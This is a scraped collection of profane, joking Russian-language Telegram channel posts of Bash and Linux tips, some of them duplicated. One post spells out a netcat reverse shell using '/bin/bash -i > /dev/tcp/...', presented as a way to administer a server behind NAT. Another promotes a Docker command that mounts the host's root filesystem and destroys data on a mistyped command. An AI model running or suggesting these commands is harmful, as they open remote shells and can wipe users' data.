Так ребят, курса никакого нет, вы меня вынудили это делать. Я лишь пошёл на встречу, никого не заставляю, дал вам чо хотели. Двоек уже понаставил, моё почтение.
С сентября уже песда, фейс ебать контроль будет и 2x к цене, так что пользуйся пока летней скидкой и моей больной жопой, домашки проверять то еще дело, я зауважал учителей в школах!
С сентября уже песда, фейс ебать контроль будет и 2x к цене, так что пользуйся пока летней скидкой и моей больной жопой, домашки проверять то еще дело, я зауважал учителей в школах!
Все мы прекрасно знаем, что для переключения пользователя есть
ㅤ
Эта команда используется в скриптах, системных процессах, крон тасках и в контексте служб которые запускаются с привилегиями рута. А самое главное не требует ввода пароля.
Пример:
Ну и важно посмотреть
В скриптах предпочтительнее использовать именно
Если у тебя нет привилегий root и нужно выполнить команду от имени другого пользователя, su для этого подходит лучше.
А чем отличается
Такие дела, изучайте…
tags: #linux
—
🔔 @bashdays
su и sudo. Но не все знают про команду runuser.ㅤ
Эта команда используется в скриптах, системных процессах, крон тасках и в контексте служб которые запускаются с привилегиями рута. А самое главное не требует ввода пароля.
Пример:
runuser -u roman -- id
Ну и важно посмотреть
help, чтобы жонглировать ключами. Там тебе и проброс шелла, сохранение/очистка переменных, псевдотерминалы и т.п.В скриптах предпочтительнее использовать именно
runuser чем везде пихать su.Если у тебя нет привилегий root и нужно выполнить команду от имени другого пользователя, su для этого подходит лучше.
А чем отличается
su от sudo (+ это двойное тире) я писал в этом посте.Такие дела, изучайте…
tags: #linux
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Добрый день господа и дамы. Сейчас накидаю тебе интересную темку, которую частенько используют пентестеры в своей работе.
Но темка это не только пентестерская, она вполне применима для рядовых админов и девопс инженеров. И порой я ей пользуюсь.
ㅤ
Многие знают Linux утилиту
Темка называется — Reverse Shell. Про неё ты тоже всяко слышал. В подробности вдаваться не будем, потыкаем на практике чтобы тебе все стало понятно.
У меня есть сервер в закрытом периметре без внешнего айпи адреса.
Нужно выдать доступ левому инженеру из мухосранска, который подключиться к этому серверу и произведет работы на сервере.
Как быть? Привязывать белый айпишник не вариант. Бастиона нет. SSH тоннели не канают. Тут-то на помощь и приходит
Просим инженера из мухосранска запустить у себя:
В ответ он получает строчку вида:
-l = слушать входящие соединения
-v = быть более подробным
-n = использовать IP-адреса без DNS
-p = порт
Дальше я иду на сервер, который не имеет белого айпишника и запускаю на нём:
Не забываем у инженера узнать его IP, чтобы подставитьинженера его в команду.
Все эти хуйни с перенаправлением
А дальше… магия!
В мухосранске, там где запустили
У инженера сменится шелл с
Ну а дальше можно и админить всё это дело пользуясь всеми благами командной строки.
Прошу отметить, что предоставленная здесь информация предназначена исключительно для образовательных и информационных целей. Я не призываю и не одобряю незаконные действия, и использование этой информации для незаконных целей запрещено. Читатели должны соблюдать законы своей страны и использовать свои навыки с уважением к этическим нормам и законам.
Давай, увидимся!
tags: #linux #networks #security
—
🔔 @bashdays
Но темка это не только пентестерская, она вполне применима для рядовых админов и девопс инженеров. И порой я ей пользуюсь.
ㅤ
Многие знают Linux утилиту
nc = netcat, вот с помощью нее можно подключаться к серверам у которых нет прямого айпи адреса, а есть только внутренний, либо все за NAT лежит.Темка называется — Reverse Shell. Про неё ты тоже всяко слышал. В подробности вдаваться не будем, потыкаем на практике чтобы тебе все стало понятно.
У меня есть сервер в закрытом периметре без внешнего айпи адреса.
Нужно выдать доступ левому инженеру из мухосранска, который подключиться к этому серверу и произведет работы на сервере.
Как быть? Привязывать белый айпишник не вариант. Бастиона нет. SSH тоннели не канают. Тут-то на помощь и приходит
netcat.Просим инженера из мухосранска запустить у себя:
root@fuck:/ nc -lvnp 2288
В ответ он получает строчку вида:
Listening on 0.0.0.0 2288-l = слушать входящие соединения
-v = быть более подробным
-n = использовать IP-адреса без DNS
-p = порт
Дальше я иду на сервер, который не имеет белого айпишника и запускаю на нём:
/bin/bash -i > /dev/tcp/айпи мухосранска/2288 0<&1 2>&1
Не забываем у инженера узнать его IP, чтобы подставить
Все эти хуйни с перенаправлением
0<&1 2>&1 описывать не буду, ебаные премудрости, сто раз уже мусолили в постах. Если интересно, спроси у GPT.А дальше… магия!
В мухосранске, там где запустили
nc -lvnp 2288, произойдет такое:Listening on 0.0.0.0 2288
Connection received on 147.45.73.123 50740
root@stage1:~#
У инженера сменится шелл с
root@fuck на root@stage1 и он получит доступ к нашему закрытому серверу без белого айпишника. Ну охуенно же!Ну а дальше можно и админить всё это дело пользуясь всеми благами командной строки.
Для всего происходящего могут понадобиться рут права, поэтому сразу делаем на это погрешность.
Прошу отметить, что предоставленная здесь информация предназначена исключительно для образовательных и информационных целей. Я не призываю и не одобряю незаконные действия, и использование этой информации для незаконных целей запрещено. Читатели должны соблюдать законы своей страны и использовать свои навыки с уважением к этическим нормам и законам.
Давай, увидимся!
tags: #linux #networks #security
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Друзья мои, реакции на постах с пальцами знатно всех подзаебали, давайте их котиками заменим + срущих добавим, чтобы проявлять своё животное возмущение и недоумение.
Если есть премка в телеге, размутим! жмякай 👇
https://xn--r1a.website/boost/bashdays
Всем кто жмякнул — вы котики!😘
Ну а кто не жмякнул, вы тоже котики🙃
Если есть премка в телеге, размутим! жмякай 👇
https://xn--r1a.website/boost/bashdays
Всем кто жмякнул — вы котики!
Ну а кто не жмякнул, вы тоже котики
Please open Telegram to view this post
VIEW IN TELEGRAM
Сегодня мы рассмотрим второй способ, как запилить SOCKS через ssh.
Напишем свой крутой шелл с анимацией и ограничениями для пользователей.
ㅤ
Как-то видел анимацию сисек при долгом копировании, но сейчас не нашел. Может кто подскажет... Варианты анимации здесь.
Скрипт не дает пользователю ничего делать, но своей анимацией поддерживает соединение в рабочем состоянии. Если не нравится shell на скрипте - поищите в сети Sleep Dummy Shell он на си.
В файле
Опция ForceCommand, фактически, заменяет оболочку для ssh, если захотите заменить оболочку пользователя в глобально системе (не обязательно):
А на клиенте:
После запуска и ввода фразы ключа программа выводит анимацию. Если прервать команду, соединения в браузере не разорвутся, как в первом способе, а программа будет ожидать закрытия браузера!!!
В firefox Настройки -> Настройка сети -> Параметры соединения: Ручная настройка прокси.
+ галка Отправлять DNS-запросы через прокси при использовании SOCKS5.
или
Если ваш адрес
В настройка firefox нужно будет заменить
Продолжение следует... © by Tagd Tagd
tags: #linux #networks #bash
—
🔔 @bashdays
Напишем свой крутой шелл с анимацией и ограничениями для пользователей.
ㅤ
Как-то видел анимацию сисек при долгом копировании, но сейчас не нашел. Может кто подскажет... Варианты анимации здесь.
sudo vim /usr/local/bin/socksshell
#!/bin/bash
trap 'echo -e "\\nWaiting session end...";exit' SIGINT SIGTERM SIGHUP SIGQUIT
printf "VPN on. Press CTRL-C for BREAK "
while :;do
for i in '> ' '>>' ' <' '<<';do
printf "\b\b$i"
sleep 3
done
done
sudo chmod 755 /usr/local/bin/socksshell
Скрипт не дает пользователю ничего делать, но своей анимацией поддерживает соединение в рабочем состоянии. Если не нравится shell на скрипте - поищите в сети Sleep Dummy Shell он на си.
В файле
/etc/ssh/sshd_configMatch User bashdays_tagd
MaxAuthTries 3
MaxSessions 10
PasswordAuthentication no
PermitEmptyPasswords no
PubkeyAuthentication yes
allowtcpforwarding yes
ForceCommand /usr/local/bin/socksshell
#--
Опция ForceCommand, фактически, заменяет оболочку для ssh, если захотите заменить оболочку пользователя в глобально системе (не обязательно):
sudo usermod -s /usr/local/bin/socksshell bashdays_tagd
sudo service sshd restart
А на клиенте:
ssh -D 5000 bashdays_tagd@ssh.host.name
После запуска и ввода фразы ключа программа выводит анимацию. Если прервать команду, соединения в браузере не разорвутся, как в первом способе, а программа будет ожидать закрытия браузера!!!
В firefox Настройки -> Настройка сети -> Параметры соединения: Ручная настройка прокси.
SOCKS5. 127.0.0.1 порт 5000.+ галка Отправлять DNS-запросы через прокси при использовании SOCKS5.
или
ssh -D 192.168.1.57:5000 bashdays_tagd@ssh.host.name
Если ваш адрес
192.168.1.57 и вы человек еще более добрый чем я и решили поделиться вашем счастьем со всей своей локалкой.В настройка firefox нужно будет заменить
127.0.0.1 на 192.168.1.57Продолжение следует... © by Tagd Tagd
tags: #linux #networks #bash
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Здрасти здрасти хуймордасти, оказывается есть люди, которые не знают как залетать в mysql без пароля.
Попался вчера свежий Bash скрипт от персонажа комиксов, который явно указывает пароль от mysql. Заебись Bash скрипт с паролями от рутового мускла. Так делать не нужно.
ㅤ
А нужно всего лишь создать файл в домашнем каталоге пользователя и обозвать его
Содержимое файла
Этот файл содержит настройки по умолчанию для команд mysql.
Помимо этих переменных, в этот файл можно закинуть что-то еще, не знаю что еще я туда больше ничего не пихаю.
Либо передавать напрямую в mysql путь до файла с помощью ключа:
В этом случае имя и путь файла может быть любой. НО обязательно сделай этот файл доступным для чтения только тебе, чтобы пидарасы-криворукие не смогли подглядеть креденшелы.
Теперь если в командой строке просто ввести mysql, ты залетишь в mysql без юзера и пароля + сменится база данных.
А для винды есть mysql_config_editor, который поможет зашифровать пароль, ведь в винде нужные права на файл хуй поставишь.
Почитать: Параметры командной строки, влияющие на обработку.
Хороших предстоящих выходных!
tags: #linux #mysql
—
🔔 @bashdays
Попался вчера свежий Bash скрипт от персонажа комиксов, который явно указывает пароль от mysql. Заебись Bash скрипт с паролями от рутового мускла. Так делать не нужно.
ㅤ
А нужно всего лишь создать файл в домашнем каталоге пользователя и обозвать его
/home/user/.my.cnf.Содержимое файла
.my.cnf[client]
user=user
password=passwd
database=db
Этот файл содержит настройки по умолчанию для команд mysql.
Помимо этих переменных, в этот файл можно закинуть что-то еще, не знаю что еще я туда больше ничего не пихаю.
Либо передавать напрямую в mysql путь до файла с помощью ключа:
--defaults-file==filename
В этом случае имя и путь файла может быть любой. НО обязательно сделай этот файл доступным для чтения только тебе, чтобы пидарасы-криворукие не смогли подглядеть креденшелы.
Теперь если в командой строке просто ввести mysql, ты залетишь в mysql без юзера и пароля + сменится база данных.
Обычно этот хак используют на рутах, чтобы рут не ебался и залетал с первым же лучиком солнца.
А для винды есть mysql_config_editor, который поможет зашифровать пароль, ведь в винде нужные права на файл хуй поставишь.
Почитать: Параметры командной строки, влияющие на обработку.
Хороших предстоящих выходных!
tags: #linux #mysql
—
Please open Telegram to view this post
VIEW IN TELEGRAM
На пути к умноватому дому напишем простой ip watchdog на баш. Будем мониторить наличие интернета и перезапускать роутер, если он "завис". ㅤ
Адреса на ping не проверял. Проверяйте, добавляйте, изменяйте сами.
Таким образом, если все адреса отвечают - каждый из них пингуется раз в 15 минут (задержка * количество адресов). Если отвечает только 1 - пинговаться он будет ежеминутно. Не хорошо, но не критично.
Если проблем нет
Попытки будут предприниматься с нарастанием времени на 2,5,...300 циклах.
Прошу обратить внимание, что цикл чуть больше минуты, когда все хорошо, но когда ping не получает ответа - время ~ 2 сек. То есть время fail-цикла = задержка + (число адресов * 2сек) ~ 1мин 30 сек.
Ну, и теперь самое интересное.
На aliexpress ищем "usb relay". (одиночный < 200 рублей).
Качаем и ставим драйвера и пишем что-то вроде:
Подключаем релюху (контакты NO) в разрыв провода питания роутера - и автомат готов.
tags: #homework #DIY © by Tagd Tagd
—
🔔 @bashdays
#!/bin/bash
declare -i COUNTER=0
declare -r P=1m # задержка между пингами или циклами
function EXECUTE(){ echo $COUNTER Need execute ; }
while :;do
COUNTER+=1
for LNK in "ya.ru" "youtube.ru" "list.ru" "vk.com" "8.8.8.8" \
"2ns.info" "aliexpress.com" "yandex.ru" "77.88.8.8" "ozon.ru" \
"8.8.4.4" "gmail.com" "mail.ru" "ok.ru" "youtube.com";do
ping -c1 -w2 $LNK > /dev/null 2>&1
if [[ $? -eq 0 ]];then
COUNTER=0
sleep $P
fi
done
case $COUNTER in
0) continue;;
2|5|10|15|20|40|60|90|120|180|300) EXECUTE;;
600) COUNTER=300; EXECUTE;;
esac
sleep $P
done
#--
COUNTER - счетчик циклов присутствия проблемы.P=1m - задержка в цикле 1 минутаfunction EXECUTE() - функция, в которой прописываем действия для устранения проблемы.for LNK in ... done в цикле пингуем адреса, и если хотя бы один ответ получили, сбрасываем счетчик проблем в 0 и выдерживаем паузу. Если ответ на ping не получили без задержек переходим к следующему адресу.Адреса на ping не проверял. Проверяйте, добавляйте, изменяйте сами.
ping -c1 - один пакет -w2 - время ожидания 2 секТаким образом, если все адреса отвечают - каждый из них пингуется раз в 15 минут (задержка * количество адресов). Если отвечает только 1 - пинговаться он будет ежеминутно. Не хорошо, но не критично.
case $COUNTER in ... esac самый удобный оператор для множественных условий.Если проблем нет
($COUNTER=0) сразу возвращаемся к пингам. Если проблема есть попробуем ее решить (перезагрузить роутер, например).Попытки будут предприниматься с нарастанием времени на 2,5,...300 циклах.
600) COUNTER=300...;; - далее попытки проводятся через 300 циклов. Вообще-то строку "600) COUNTER=300; EXECUTE;;" можно было бы заменить на "599) COUNTER=299;;" с сохранением логики работы. Но оставил более понятный вариант.Прошу обратить внимание, что цикл чуть больше минуты, когда все хорошо, но когда ping не получает ответа - время ~ 2 сек. То есть время fail-цикла = задержка + (число адресов * 2сек) ~ 1мин 30 сек.
Ну, и теперь самое интересное.
На aliexpress ищем "usb relay". (одиночный < 200 рублей).
Качаем и ставим драйвера и пишем что-то вроде:
declare -r HEX_CODE_OFF='\xA0\x01\x01\xA2'
declare -r HEX_CODE_ON='\xA0\x01\x00\xA1'
#use ls /dev/ttyUSB* ###############################
declare -r USB_DEV=/dev/ttyUSB0
echo -n -e $HEX_CODE_OFF > $USB_DEV
sleep 30
echo -n -e $HEX_CODE_ON > $USB_DEV
Подключаем релюху (контакты NO) в разрыв провода питания роутера - и автомат готов.
PS от Ромы — НО будьте аккуратны, чтобы ёбом не токнуло!
tags: #homework #DIY © by Tagd Tagd
—
Please open Telegram to view this post
VIEW IN TELEGRAM
А давай потрясём cиськами с помощью Bash!
Я думаю этот пост должен здесь быть, а постарался наш внештатный корреспондент Tadg Tadg. Погнали 👇
ㅤ
Сегодня разберем потрясный скрипт. Не в том смысле, что классный.
Просто он трясет сисками при выполнении длительных операций (копирование, загрузка, синхронизация).
Я когда-то видел что-то подобное, но найти не смог и пришлось писать свой. Вообще-то я против «красотулек», но кому-то нравится...
Сохраняем его в файл
Собственно скрипт:
Разбор скрипта:
Поскольку используется темповый файл, пишем правильно.
Кстати, интересная особенность echo
Если пробелы важны - нужно использовать
Вообще-то можно было бы обойтись буквально одним циклом... Но нужно же и учится. Даже на сиськах.
Надеюсь тема сисек раскрыта. Всем добра. Tagd
tags: #bash
—
🔔 @bashdays
Я думаю этот пост должен здесь быть, а постарался наш внештатный корреспондент Tadg Tadg. Погнали 👇
ㅤ
Сегодня разберем потрясный скрипт. Не в том смысле, что классный.
Просто он трясет сисками при выполнении длительных операций (копирование, загрузка, синхронизация).
Я когда-то видел что-то подобное, но найти не смог и пришлось писать свой. Вообще-то я против «красотулек», но кому-то нравится...
Сохраняем его в файл
tits.sh и проверяем:chmod +x tits.sh
# демо:
./tits.sh
# тест:
./tits.sh 7z b
Собственно скрипт:
#!/bin/bash
declare -r LOG=$(mktemp)
declare -r BS='\b\b\b\b\b\b\b'
declare -r SPC=' '
trap 'echo
tput cnorm
test -f "$LOG" && cat "$LOG" && rm "$LOG"
exit ' INT TERM HUP QUIT EXIT ERR
tput civis
CMD="$@"
test -z "$CMD" && CMD='sleep 10'
function TITS(){
declare N P T=${1:-21}
case "${T:0:1}" in
1) N='(.)';;
2) N='(o)';;
*) N='(*)';;
esac
case "${T:1:1}" in
1) P=${N}${N}' ';;
2) P=${N}' '${N};;
*) P=' '${N}${N};;
esac
echo -n "$P"
}
$CMD > "$LOG" 2>&1 &
PID=$!
echo -n "$SPC"
while :;do
for i in 21 12 23 33 23 12 21 31;do
echo -en $BS
TITS $i
ps -q "$PID" > /dev/null 2>&1 || exit
sleep .3
done
done
#--
Разбор скрипта:
LOG=$(mktemp) - создать лог в темповом каталогеBS='\b\b\b\b\b\b\b' - забои для перемещения в начало строки (число равно размеру сисек в символах)SPC=' ' - пробелы, для очиски сисек (число то же)Поскольку используется темповый файл, пишем правильно.
trap INT TERM HUP QUIT EXIT ERR - Перехват сигналов, (последние два - башизм)echo - перевод строки после сисекtput cnorm - включение курсораtest -t "$LOG && "cat "$LOG" && rm "$LOG" - вывод на экран лога и его удаление (при наличии).tput civis - гашение курсораtest -z "$CMD" && CMD='sleep 10' - если параметры скрипта не заданы - запускаем паузу 10 секfunction TITS() - входной параметр двузначное число, где десятки - форма соска, единицы - положениеdeclare N P T=${1:-21} - описываем локальные переменные. Если входной параметр не задан, используется 21case "${T:0:1}" ... esac - задаем форму соскаcase "${T:1:1}" ... esac - задаем положениеecho -n "$P" - выводим сиськи, без перевода строки.Кстати, интересная особенность echo
$P. Если переменная P содержит пробелы в начале и конце - они отбрасываются!Если пробелы важны - нужно использовать
"$P"$CMD > "$LOG" 2>&1 & - запуск команды фоном, с выводом stdout и err в логPID=$! - запомнили PID запущенного процессаecho -n "$SPC" - перед печатью сисек старые очищаются, чтобы было что очищать - печатаем пробелы.while :;do - бесконечный циклfor i in 21 12 23 33 23 12 21 31 - анимацияecho -en $BS - очищаем старый вывод (используем ESC-символы, без перевода строки)TITS $i - печатаем сиськиps -q "$PID" > /dev/null 2>&1 || exit - проверяем не закончился ли фоновый процессsleep .3 - пауза 0.3 секундыВообще-то можно было бы обойтись буквально одним циклом... Но нужно же и учится. Даже на сиськах.
man tput mktemp signal ps
help trap declare
https://cheatsheets.zip/bash
Надеюсь тема сисек раскрыта. Всем добра. Tagd
tags: #bash
—
Please open Telegram to view this post
VIEW IN TELEGRAM
10 75 26
Любишь линукс? А готов ли ты сыграть в опасную игру?
У тебя будет всего лишь одна попытка и как только ты ошибешься, придется знатно поебаться.
ㅤ
Поэтому прежде чем что-то сделать в консоли — подумай, а правильно ли ты ввел команду и готов ли ты поставить на карту всё самое дорогое?
Если готов всё потерять, запускай:
И сегодня я уже не работаю, благо я запустил это в wsl. Пойду искать бекапы, где-то они у меня вроде были.
Рискнешь? Пиши в комменты, сколько тебе удалось продержаться и какую бурю эмоций ты испытал.
Все еще любишь линукс?
Вечный холивар, какой дистрибутив выбрать. Ответ однозначный - Suicide Linux! Он тебя дисциплинирует, с ним ты выйдешь на новый уровень и преисполнишься.
Рекомендую потыкать, но будь осторожен, сапёр ошибается только один раз.
Страница проекта: https://github.com/tiagoad/suicide-linux
tags: #linux
—
🔔 @bashdays
У тебя будет всего лишь одна попытка и как только ты ошибешься, придется знатно поебаться.
ㅤ
Поэтому прежде чем что-то сделать в консоли — подумай, а правильно ли ты ввел команду и готов ли ты поставить на карту всё самое дорогое?
Если готов всё потерять, запускай:
docker run --rm -it -v /:/host tiagoad/suicide-linux
Я проиграл спустя пару секунд и по настоящему проебал всё! Но испытал непередаваемое чувство радости и свободы. Вот и повод пересесть на 24.04. Вообще забавно получилось!
И сегодня я уже не работаю, благо я запустил это в wsl. Пойду искать бекапы, где-то они у меня вроде были.
Рискнешь? Пиши в комменты, сколько тебе удалось продержаться и какую бурю эмоций ты испытал.
Все еще любишь линукс?
Вечный холивар, какой дистрибутив выбрать. Ответ однозначный - Suicide Linux! Он тебя дисциплинирует, с ним ты выйдешь на новый уровень и преисполнишься.
Рекомендую потыкать, но будь осторожен, сапёр ошибается только один раз.
Страница проекта: https://github.com/tiagoad/suicide-linux
tags: #linux
—
Please open Telegram to view this post
VIEW IN TELEGRAM
32 46 16
У меня еще осталась пара тем по ssh, но пока отдохните, наберитесь сил... Я тут решил протестировать циклы for и поделиться результатами.
ㅤ
Годный цикл. Главное логичный и понятный.
Возможно построение циклов с нарастанием и убыванием. Циклы не допускают подстановки переменных в параметры цикла!!! Чистый башизм. Не рекомендую.
У разработчиков seq странная логика.seq [OPTION]... FIRST INCREMENT LAST. INCREMENT в средине!!! Несмотря на логику рекомендую.
Годный цикл для построчного чтения файла, но нужно помнить про разделитель
Годный цикл для перебора файлов, обратите внимание путь в кавычках, а звездочка - нет.
Годный цикл с перечислятельством, для не очень больших количеств.
Если цикл не работает - верните
Тройка упоротых конструкций:
Последнюю сам придумал. Можно вообще на собесах применять с предложением упростить или объяснить.
Продолжение следует... © by Tagd Tagd
tags: #bash
—
🔔 @bashdays
ㅤ
for ((i = 0 ; i < 100 ; i++)); do
echo $i
done
Годный цикл. Главное логичный и понятный.
for i in {1..3}; do
echo $i
done
# или его расширенная версия с шагом
for i in {50..5..-5}; do
echo $i
doneВозможно построение циклов с нарастанием и убыванием. Циклы не допускают подстановки переменных в параметры цикла!!! Чистый башизм. Не рекомендую.
for i in $(seq 1 10); do
echo $i
done
У разработчиков seq странная логика.seq [OPTION]... FIRST INCREMENT LAST. INCREMENT в средине!!! Несмотря на логику рекомендую.
IFS=$'\n'
for i in $(cat /etc/passwd); do
echo $i
done
Годный цикл для построчного чтения файла, но нужно помнить про разделитель
IFS.for i in "./space test/"*; do
echo $i
done
Годный цикл для перебора файлов, обратите внимание путь в кавычках, а звездочка - нет.
for i in 5 9 8 3;do
echo $i
done
Годный цикл с перечислятельством, для не очень больших количеств.
echo 1 2 3|for i in $(</dev/stdin);do
echo $i
done
Если цикл не работает - верните
IFS=" "Тройка упоротых конструкций:
for ((a=0,b=9;a<10;a++,b--));do
echo $a,$b
done
for ((a=1;a<2000;a+=a));do
echo $a
done
for i in $(j=10;while ((j--));do echo $j;done);do
echo $i
done
Последнюю сам придумал. Можно вообще на собесах применять с предложением упростить или объяснить.
Продолжение следует... © by Tagd Tagd
tags: #bash
—
Please open Telegram to view this post
VIEW IN TELEGRAM
54 48 13
Как собрать все логи в один.
Иногда возникает задача найти что-то в логах ручками, без установки анализаторов логов.
ㅤ
Логов может быть много, некоторые сжатые - некоторые нет. Для работы со сжатыми файлами есть утилиты, начинающиеся на z.
Для сборки логов в один я написал простой скрипт. Он выдает в stdout все логи, в порядке создания, сжатые разжимаются.
Сохраняем его в файл
Лог файл без индексов и архивных расширений.
Поскольку скрипт очень простой, метод написания я выбрал максимально извращенный. :-)
Если у файла расширение не gz, то используем утилиту cat, если gz - zcat
А дальше обрабатывать вывод можно как угодно:
UPD: Тут пользователь Кирилл Катаевский (@rosskk) подсказал, как можно упростить:
tags: #bash © by Tagd Tagd
—
🔔 @bashdays
Иногда возникает задача найти что-то в логах ручками, без установки анализаторов логов.
ㅤ
Логов может быть много, некоторые сжатые - некоторые нет. Для работы со сжатыми файлами есть утилиты, начинающиеся на z.
zcat, zgrep, zdiff... ls -/bin/z* в помощь.Для сборки логов в один я написал простой скрипт. Он выдает в stdout все логи, в порядке создания, сжатые разжимаются.
#!/bin/bash
test -z "$1" && echo "need log file" && exit
declare EXT=gz
for CUR_LOG in $(ls -tr "$1"*);do
PREFIX=z
if [[ "${CUR_LOG##*.}" != "$EXT" ]];then
PREFIX=
fi
${PREFIX}cat ${CUR_LOG}
done
Сохраняем его в файл
sumlog.sh делаем файл исполняемым:chmod +x sumlog.sh
sudo ./sumlog.sh /var/log/apache2/access.log
Лог файл без индексов и архивных расширений.
Поскольку скрипт очень простой, метод написания я выбрал максимально извращенный. :-)
declare EXT=gz - сжатый файл.ls -tr "$1"* спиcок файлов, отсортированный по времени (-t), в порядке убывания (-r)Если у файла расширение не gz, то используем утилиту cat, если gz - zcat
А дальше обрабатывать вывод можно как угодно:
sudo ./sumlog.sh /var/log/apache2/access.log|grep ...
sudo ./sumlog.sh /var/log/apache2/access.log|awk ...
sudo ./sumlog.sh /var/log/apache2/access.log|sed ...
UPD: Тут пользователь Кирилл Катаевский (@rosskk) подсказал, как можно упростить:
#!/bin/bash
test -z "$1" && echo "need log file" ||zcat -f $(ls -tr "$1"*)
tags: #bash © by Tagd Tagd
—
Please open Telegram to view this post
VIEW IN TELEGRAM
110 49 15
Горизонт
Выходные заебись, никто не срёт в голову, все копят таски до понедельника и отдыхают... Потому что работая в найме ты видишь горизонт (пятницу), а дальше ебутся блохи в суматохе!
ㅤ
Но стоит тебе выйти из найма и начать своё дело, выходные дни странным образом «смещаются», ну как смещаются, ты уже не видишь горизонта событий до которого тебе нужно дойти, ты видишь какой-то кусок земли и лопату в руках.
А дальше ты либо копаешь, чтобы найти свой кусок золота и прокормить своё поселение, либо прокрастинируешь (маешься хуйнёй) и просираешь всё под забором.
Всегда было интересно когда учителя в школе говорили — ты закончишь под забором. Ты будешь продавать пирожки на базаре. Под каким блядь нахуй забором? Где ХУЙ написан? А пирожки я люблю, особенно на базаре! WTF???
Эт я к чему, если решил копать — не бросай, даже если каждый первый тебе говорит — что ты дурной пизды ребёнок…
Всё у тебя получится, просто копай дальше и не останавливайся! Получится! Равновесие мира. Балансировка нагрузки.
А кто дохуя пиздит и сеет в тебе сомнения, пусть идут — нахуй!
tags: #рабочиебудни
—
🔔 @bashdays
Выходные заебись, никто не срёт в голову, все копят таски до понедельника и отдыхают... Потому что работая в найме ты видишь горизонт (пятницу), а дальше ебутся блохи в суматохе!
ㅤ
Но стоит тебе выйти из найма и начать своё дело, выходные дни странным образом «смещаются», ну как смещаются, ты уже не видишь горизонта событий до которого тебе нужно дойти, ты видишь какой-то кусок земли и лопату в руках.
А дальше ты либо копаешь, чтобы найти свой кусок золота и прокормить своё поселение, либо прокрастинируешь (маешься хуйнёй) и просираешь всё под забором.
Всегда было интересно когда учителя в школе говорили — ты закончишь под забором. Ты будешь продавать пирожки на базаре. Под каким блядь нахуй забором? Где ХУЙ написан? А пирожки я люблю, особенно на базаре! WTF???
Эт я к чему, если решил копать — не бросай, даже если каждый первый тебе говорит — что ты дурной пизды ребёнок…
Всё у тебя получится, просто копай дальше и не останавливайся! Получится! Равновесие мира. Балансировка нагрузки.
А кто дохуя пиздит и сеет в тебе сомнения, пусть идут — нахуй!
tags: #рабочиебудни
—
Please open Telegram to view this post
VIEW IN TELEGRAM
24 147 47
Ха! Не ждали? Ща будет кринж, но кринж просветит тех, кто глубоко копается в жопах линукса. Ну а если решил провести выходной на изи, оно нахуй тебе не всралось. Короче...
ㅤ
У кодировки ASCII есть особенность:
Строчные и заглавные отличаются только шестым битом. Ну и для изменения регистра достаточно поменять этот бит.
Давай установим его, например в 0 или 1:
Нихуясе? Да!
Позырить таблицу ascii:
А для изменения регистра в баше есть удобные конструкции:
Эти команды в скобках запускаются в подоболочке, чтобы не гадить в текущее окружение самой оболочки. Но ты это и так прекрасно знаешь🥳
Да будет так!
tags: #bash #linux
—
🔔 @bashdays➡️ @gitgate
ㅤ
У кодировки ASCII есть особенность:
a -> 01*1*00001 A -> 01*0*00001
b -> 01*1*00010 B -> 01*0*00010
c -> 01*1*00011 C -> 01*0*00011
d -> 01*1*00100 D -> 01*0*00100
e -> 01*1*00101 E -> 01*0*00101
f -> 01*1*00110 F -> 01*0*00110
g -> 01*1*00111 G -> 01*0*00111
h -> 01*1*01000 H -> 01*0*01000
i -> 01*1*01001 I -> 01*0*01001
j -> 01*1*01010 J -> 01*0*01010
k -> 01*1*01011 K -> 01*0*01011
l -> 01*1*01100 L -> 01*0*01100
m -> 01*1*01101 M -> 01*0*01101
n -> 01*1*01110 N -> 01*0*01110
o -> 01*1*01111 O -> 01*0*01111
p -> 01*1*10000 P -> 01*0*10000
q -> 01*1*10001 Q -> 01*0*10001
r -> 01*1*10010 R -> 01*0*10010
s -> 01*1*10011 S -> 01*0*10011
t -> 01*1*10100 T -> 01*0*10100
u -> 01*1*10101 U -> 01*0*10101
v -> 01*1*10110 V -> 01*0*10110
w -> 01*1*10111 W -> 01*0*10111
x -> 01*1*11000 X -> 01*0*11000
y -> 01*1*11001 Y -> 01*0*11001
z -> 01*1*11010 Z -> 01*0*11010
Строчные и заглавные отличаются только шестым битом. Ну и для изменения регистра достаточно поменять этот бит.
Звёздочками я выделил эту хуйню, чтобы тебе все прозрачно было.
Давай установим его, например в 0 или 1:
printf '%b %b\n' $( printf '\\%03o \\%03o' 65 $((65 ^ 32)) )
printf '%b %b\n' $( printf '\\%03o \\%03o' 97 $((97 ^ 32)) )
printf '%s\n' $((65 ^ 32))
printf '%s\n' $((97 ^ 32))
Нихуясе? Да!
Позырить таблицу ascii:
man asciiА для изменения регистра в баше есть удобные конструкции:
( a='abc'; echo "${a^}" )
( a='ABC'; echo "${a,}" )
( a='abc'; echo "${a^^}" )
( a='ABC'; echo "${a,,}" ) Эти команды в скобках запускаются в подоболочке, чтобы не гадить в текущее окружение самой оболочки. Но ты это и так прекрасно знаешь
Да будет так!
tags: #bash #linux
—
Please open Telegram to view this post
VIEW IN TELEGRAM
18 75 14
Практика, которая увеличит твою пенсию в 3 раза!
Есть такая практика «Помодоро», в общем это когда ты 25 минут усердно работаешь, потом 5 минут отдыхаешь и так по кругу.
ㅤ
Практика так сказать — ХУЙНЯ ПОЛНАЯ. Но если критикуешь, предлагай!
Оказывается давным-давно я случайно изобрел свою практику, которую в шутку назвал «Тюленинг».
Суть этой практики полная противоположность «Помодоро». То есть ты работаешь 5 минут и 30 минут отдыхаешь, повторяешь до бесконечности.
В чем плюсы «Тюленинга»?
Главная киллер фича — спустя пару часов нихуя не делания тебе становится скучно и возникает желание поработать. Это желание обычно появляется внезапно. Либо не появляется, тогда практикуешь «тюленинг» дальше.
И как только появилось желание, беги за комп и пили таски. Твой KPI будет прокачен на 100500%, мозг раскочегарен на азарте и в жопе будет приятный зуд.
Двухнедельный спринт закроешь буквально за полчаса. Без хуйни!
Думаешь это прикол такой? Неа! Сегодня лично провел эксперимент, практика работает — идеально!
В общей сложности я провалялся часов 8 + 30 минут ушло на работу + три раза пообедал. Завтра обязательно повторю!
Попробуй, тебе понравится!
#рабочиебудни
—
🔔 @bashdays➡️ @gitgate
Есть такая практика «Помодоро», в общем это когда ты 25 минут усердно работаешь, потом 5 минут отдыхаешь и так по кругу.
ㅤ
